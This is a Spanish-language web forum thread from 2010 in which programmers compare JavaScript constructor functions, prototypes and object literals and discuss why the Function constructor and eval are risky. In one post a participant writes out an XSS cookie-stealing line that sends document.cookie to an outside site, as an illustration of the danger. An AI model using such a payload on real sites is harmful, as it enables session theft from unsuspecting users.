Foros del Web » Programando para Internet » Javascript »

¿Por qué no usar function() para generar objetos?

Estas en el tema de ¿Por qué no usar function() para generar objetos? en el foro de Javascript en Foros del Web. Hola. Esta es una curiosidad que me inquieta desde una conversación que tuvimos hace un tiempo sobre usar eval o no: http://www.forosdelweb.com/f13/eval-...5/#post2841388 Cita: Iniciado por ...
  #1 (permalink)  
Antiguo 03/02/2010, 14:45
Avatar de David
Moderador
 
Fecha de Ingreso: abril-2005
Ubicación: In this planet
Mensajes: 15.720
Antigüedad: 19 años
Puntos: 839
¿Por qué no usar function() para generar objetos?

Hola.

Esta es una curiosidad que me inquieta desde una conversación que tuvimos hace un tiempo sobre usar eval o no:
http://www.forosdelweb.com/f13/eval-...5/#post2841388
Cita:
Iniciado por venkman Ver Mensaje
Ahora yo pregunto... ¿cuántos huyen del uso de eval pero siguen usando el constructor Function y pasando cadenas a setTimeout/setInterval?
En ese momento supuse que se trataba de una cuestión de rendimiento (por el contexto en que se estaba hablando), investigué al respecto pero no encontré nada preciso.

Entiendo que si se usa mal una función generadora para crear objetos estaremos usando memoria innecesaria asignando una y otra vez los métodos al nuevo objeto creado. Pero, no necesitamos hacerlo, de hecho el paradigma de orientación a objetos de Javascript es basado en prototipos. Y justamente en ese caso basta con asignar los métodos al prototipo para evitar el problema mencionado anteriormente.

También, en cierto momento se conversó de las diferencias entre reutilizar un objeto creado con una función generadora y uno creado usando Object Literal Notation:
http://www.forosdelweb.com/f13/dos-puntos-631144/

En fin, resumiendo, ¿por qué entonces no es recomendable usar function() para generar objetos?

Saludos.
__________________
Por favor, antes de preguntar, revisa la Guía para realizar preguntas.
  #2 (permalink)  
Antiguo 04/02/2010, 08:24
Avatar de Tecna  
Fecha de Ingreso: enero-2010
Mensajes: 291
Antigüedad: 14 años, 3 meses
Puntos: 45
Respuesta: ¿Por qué no usar function() para generar objetos?

Buenas,

yo diría que hay 3 motivos importantes para no usar la constructora Function( )

- Por un lado los problemas de eficiencia, puesto que cada vez que se llama a la constructora se analiza el cuerpo de la función y se crea un nuevo objeto de función, cosa que casi nunca es necesaria y cuantas mas llamadas se hagan mas ineficiente será el codigo. Esto no ocurre con los literales de función con lo que el tiempo de ejecución es mejor.

- otro punto a tener en cuenta es que no capturan el ámbito local, es decir no definen un ambito léxico como el resto de las funciones y si existe una variable global con el mismo nombre será la que utilice pudiendo dar resultados erroneos si el valor de ambas variables es distinto y siendo dificil de detectar si no se presta atención a este detalle. Esto tampoco ocurre en los literales de función.

- y por último problemas de seguridad, porque como se analiza el código cada vez que se llama a la función permite incrustar código dinamicamente, que se compilará en tiempo de ejecución con el peligro que esto supone si no se filtra antes.
  #3 (permalink)  
Antiguo 12/02/2010, 10:17
Avatar de David
Moderador
 
Fecha de Ingreso: abril-2005
Ubicación: In this planet
Mensajes: 15.720
Antigüedad: 19 años
Puntos: 839
Respuesta: ¿Por qué no usar function() para generar objetos?

Hola Tecna.

Gracias por tomarte el tiempo de responder. Disculpa que haya tardado tanto en contestar.

Entiendo tus puntos (aunque algunos podrían ser discutibles), pero me temo que no estemos hablando precisamente de lo mismo.

Por ejemplo, podemos crear un objeto persona de estas formas:
Código Javascript:
Ver original
  1. function persona(nombre, edad, direccion) {
  2.     this.nombre = nombre;
  3.     this.edad = edad;
  4.     this.direccion = direccion;
  5. }
  6.  
  7. persona.prototype.saludar = function() {
  8.     alert("Hola, me llamo " + this.nombre);
  9. }
  10.  
  11. var usuario = new persona("David", 100, "No");
  12. usuario.saludar();
Código Javascript:
Ver original
  1. var usuario = {
  2.     nombre: "David",
  3.     edad: 100,
  4.     direccion: "No",
  5.     saludar: function() {
  6.         alert("Hola, me llamo " + this.nombre);
  7.     }
  8. }
  9.  
  10. usuario.saludar();
En el primer caso usamos una función constructora y en el segundo Object Literal Notation. Desde mi punto de vista usar Object Literal Notation no es una alternativa real en este caso. Sólo estamos creando un único nuevo objeto. A partir de allí tendríamos que forzar la "herencia" copiando los métodos y propiedades del primer objeto.

Entonces, ¿cuál sería la alternativa a usar la función constructora?

Mi conocimiento de Javascript es limitado como ya saben, así que no duden en corregirme si necesario.
__________________
Por favor, antes de preguntar, revisa la Guía para realizar preguntas.
  #4 (permalink)  
Antiguo 12/02/2010, 10:32
Avatar de jackson666  
Fecha de Ingreso: noviembre-2009
Ubicación: Buenos Aires, Argentina
Mensajes: 1.971
Antigüedad: 14 años, 5 meses
Puntos: 65
Respuesta: ¿Por qué no usar function() para generar objetos?

A ver si entiendo un poco... La idea es usar un metodo de un objeto sin tener que pasar por el constructor, verdad?
Es q estuve leyendo y me perdi un poco
__________________
HV Studio
Diseño y desarrollo web
  #5 (permalink)  
Antiguo 12/02/2010, 11:15
Avatar de buzu  
Fecha de Ingreso: octubre-2006
Ubicación: San Francisco, CA
Mensajes: 2.168
Antigüedad: 17 años, 6 meses
Puntos: 122
Respuesta: ¿Por qué no usar function() para generar objetos?

Hola david, no se habla de function sino de Function la cual trae implicaciones en la seguridad. De hecho crear objetos enteramente basados en function si trae problemas de rendimiento pero solo si el objeto es demasiado complejo y es instanciado varias veces y está escrito de la siguiente forma:

Código Javascript:
Ver original
  1. var ob = function(){
  2.    this.init = function(){
  3.  
  4.    }
  5.    this,method1 = function(){
  6.  
  7.    }
  8.    this.method2 = function(){
  9.  
  10.    }
  11.    .....
  12.    this.methodN = function(){
  13.  
  14.    }
  15. }

Ya que como bien has mencionado, el problema es que al crear otra instancia se vuelven a cargar en memoria todos los métodos y propiedades del objeto original. Una vez oí un argumento similar en cuanto a Object Litaral Notation, pero sinceramente no creo que sea validad tomando en cuenta que un objeto escrito de esa manera no puede ser instanciado (ojo, si puede ser copiado y eso cumpliría el mismo efecto de instanciar, pero con las mismas desventajas en rendimiento que el ejemplo mostrado anteriormente).

En lo personal prefiero OLN y simular la instanciación mediante una serie de estados y propiedades, pero cuando necesito usar un objeto que será re-instanciado un número indeterminado de vece, me voy por el constructor y prototipos.

EL problema con Function (nótese la F mayúscula) es que puede tomar cualquier string y ejecutarla tal como pasa con eval. En la actualidad podría pensarse que ya irrelevante debido al numero de opciones que existen para inyectar y ejecutar código en el cliente. Sin embargo, hay que recordar que aún hay muchos sitios vulnerables a XSS en los que simplemente puedo escribir:

document.location = 'http://misitio.com?guarda.php?c=' + document.cookie;

y de esa manera hacerme de un poco de información que con suerte puede resultar útil. Ahora, todo esto viene ya que esconder un string es fácil. Y eso ni hablar de ofuscar código y después evaluarlo con eval o Function. Chances hay que logremos perpetuar un ataque con el uso de uno de esos dos amigos.

Lo que no se puso en claro en aquella conversación es que firebug nos deja ejecutar código del lado del cliente pero solo en nuestra máquina, mientras que eval y Function nos permitirán hacerlo en cualquier máquina que entre a un sitio cuya seguridad esté comprometida. Más específicamente estamos hablando de sitios que no se preocupan por validar el input del usuario o que lo hacen a medias o con métodos ineficaces.

Ahora, me gustaría invitar a dos amigos a la conversación, Panino5001 y jseros, y poder armar un buen cumulo de conocimiento del que todos aprendamos. Probablemente podamos traer a la ecuación las implicaciones en seguridad que el uso de greasemonkey puede tener para desarrolladores que basan su seguridad ajax en el hecho de que ajax es mantenido siempre en el mismo dominio de origen y no puede ir más aya.


EDITO; Creo que el problema aquí radica en el hecho de que se habla del constructor Function. La palabra constructor está mal empleada en este caso ya que debería haberse hablado de la clase Function. Ahora, podemos discutir lo que ya se ha discutido anteriormente sobre que js no tiene clases. Sin embargo, si las tiene, pero nosotros no las podemos crear. Si recuerdan está la clase Date, Number, String, Function etc...
__________________
twitter: @imbuzu
  #6 (permalink)  
Antiguo 12/02/2010, 11:34
Avatar de David
Moderador
 
Fecha de Ingreso: abril-2005
Ubicación: In this planet
Mensajes: 15.720
Antigüedad: 19 años
Puntos: 839
Respuesta: ¿Por qué no usar function() para generar objetos?

Hola, buzu.

Gracias por unirte a la conversación. Se pone interesante.

Jamás me hubiera imaginado que se refería a:
Código Javascript:
Ver original
  1. var funcion = new Function("valor", "alert(valor);");
Ahora sí todo tiene bastante sentido. Entiendo perfectamente lo que dijo Tecna al respecto, yo hubiera argumentado lo mismo en contra del uso de new Function().

Gracias por indicarme la interpretación correcta. De verdad todo este tiempo lo estaba interpretando con usar un constructor function para generar objetos.

Cita:
Tu debes de esparcir algo de Karma a otros usuarios antes de darle otra vez a buzu.
__________________
Por favor, antes de preguntar, revisa la Guía para realizar preguntas.
  #7 (permalink)  
Antiguo 12/02/2010, 12:04
Avatar de buzu  
Fecha de Ingreso: octubre-2006
Ubicación: San Francisco, CA
Mensajes: 2.168
Antigüedad: 17 años, 6 meses
Puntos: 122
Respuesta: ¿Por qué no usar function() para generar objetos?

Jeje... gracias por ese karma que se ha quedado en el limbo jeje...

Todo el tiempo fue solo una confusión, pero imagínate que function realmente tuviera riesgos... Javascript seria una pesadilla en la seguridad.
__________________
twitter: @imbuzu
  #8 (permalink)  
Antiguo 12/02/2010, 14:24
Avatar de Tecna  
Fecha de Ingreso: enero-2010
Mensajes: 291
Antigüedad: 14 años, 3 meses
Puntos: 45
Respuesta: ¿Por qué no usar function() para generar objetos?

Buenas,

yo hablaba de la constructora Function porque en el primer mensaje de David citando a venkman se hablaba del constructor Function.

David, los valores de los literales de objetos pueden ser variables, se pueden crear mas de un objeto por ejemplo si lo incluyes dentro de un bucle y vas cambiando los valores. Para crear el objeto simplemente se puede hacer con el literal {} . Siguiendo con tu ejemplo, suponiendo que tenemos este formulario:

Código HTML:
Ver original
  1. <form name="usuario" action="">
  2.  
  3.     Nombre: <input type="text" name="nombre">
  4.     Edad: <input type="text" name="edad">
  5.     Direcci&oacute;n <input type="text" name="direccion">
  6.  
  7.     <input type="button" value="crear" name="crear">
  8.  
  9. </form>


Código Javascript:
Ver original
  1. function init()
  2. {  
  3.     var formulario = document.usuario;
  4.     var crear = formulario.crear;  
  5.     crear.onclick = crearUsuario;
  6. }
  7.  
  8. window.onload = init;
  9.  
  10. function crearUsuario()
  11. {
  12.     var formulario = document.usuario;
  13.  
  14.         // valores introducidos en los inputs
  15.     var nombreForm = formulario.nombre.value;
  16.     var edadForm = formulario.edad.value;
  17.     var direccionForm = formulario.direccion.value;
  18.  
  19.         //creamos el objeto
  20.        // asi para crearlo vacio:  var persona = {};
  21.        // asi con un literal de objeto
  22.     var persona = {'dire':direccionForm};  
  23.        // el valor de la propiedad dire es variable en lugar de una
  24.        //cadena como en tu ejemplo
  25.  
  26.        // asignamos los valores a las otras propiedades
  27.     persona.nombre = nombreForm; // por el nombre de la propiedad
  28.     persona['edad'] = edadForm; // simulando un array asociativo, útil
  29.                               //cuando el nombre es variable o se desconoce
  30.  
  31.         //comprobamos los valores que hemos asignado
  32.     alert('Hola   ' + persona.nombre);
  33.     alert('edad : ' + persona['edad']);
  34.  
  35.         // podemos comprobar antes si existe la propiedad
  36.     if (persona.dire) alert('direccion : ' + persona.dire);
  37.  
  38.    
  39. }
  #9 (permalink)  
Antiguo 12/02/2010, 14:49
Avatar de David
Moderador
 
Fecha de Ingreso: abril-2005
Ubicación: In this planet
Mensajes: 15.720
Antigüedad: 19 años
Puntos: 839
Respuesta: ¿Por qué no usar function() para generar objetos?

Sí, claro que se puede añadir más propiedades y métodos a un literal de objeto, pero sigue siendo un único objeto, nada más. Mientras que con una función generadora, fácilmente puedes instanciar un nuevo objeto con los métodos heredados del prototipo. No puedes instanciar un objeto a partir de un objeto (valga la redundancia) creado con Object Literal Notation, a lo sumo vas a copiar sus métodos y propiedades, pero ocuparás memoria innecesariamente.
__________________
Por favor, antes de preguntar, revisa la Guía para realizar preguntas.
  #10 (permalink)  
Antiguo 12/02/2010, 15:42
Avatar de buzu  
Fecha de Ingreso: octubre-2006
Ubicación: San Francisco, CA
Mensajes: 2.168
Antigüedad: 17 años, 6 meses
Puntos: 122
Respuesta: ¿Por qué no usar function() para generar objetos?

Exacto. Además es poco práctico considerando que cada uno de esos objetos viene a ser parte del ámbito global del script lo que agrega otro ingrediente a nuestro desastre en el rendimiento. Otro problema es que al intentar simular herencia se complica más el asunto, mientras que con prototipos bastaría con copiar el prototipo del objeto para simular herencia, aun que esta sería muy rudimentaria.
__________________
twitter: @imbuzu
  #11 (permalink)  
Antiguo 14/02/2010, 10:06
Avatar de Panino5001
Me alejo de Omelas
 
Fecha de Ingreso: mayo-2004
Ubicación: -34.637167,-58.462984
Mensajes: 5.148
Antigüedad: 20 años
Puntos: 834
Respuesta: ¿Por qué no usar function() para generar objetos?

Ja, ja! Creo que está todo dicho. No entiendo realmente porqué muchos se empeñan en simular la funcionalidad de clases en javascript (he visto esfuerzos increíbles, tan encomiables como inútiles desde mi punto de vista en ese sentido: http://webreflection.blogspot.com/20...t-classes.html).
Sólo agregaría que no es complejo saltarse la restricción de la política del mismo origen de javascript, así que nunca jamás hay que dejar de validar en el servidor todo aquello que tenga que ver con seguridad.
  #12 (permalink)  
Antiguo 14/02/2010, 10:36
Avatar de buzu  
Fecha de Ingreso: octubre-2006
Ubicación: San Francisco, CA
Mensajes: 2.168
Antigüedad: 17 años, 6 meses
Puntos: 122
Respuesta: ¿Por qué no usar function() para generar objetos?

Tienes toda la razón panino. La verdad que javascript no necesita tanta (dis)funcionalidad como la que se le quiere agregar simulando clases y demás.
__________________
twitter: @imbuzu

Etiquetas: function, objetos
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 23:18.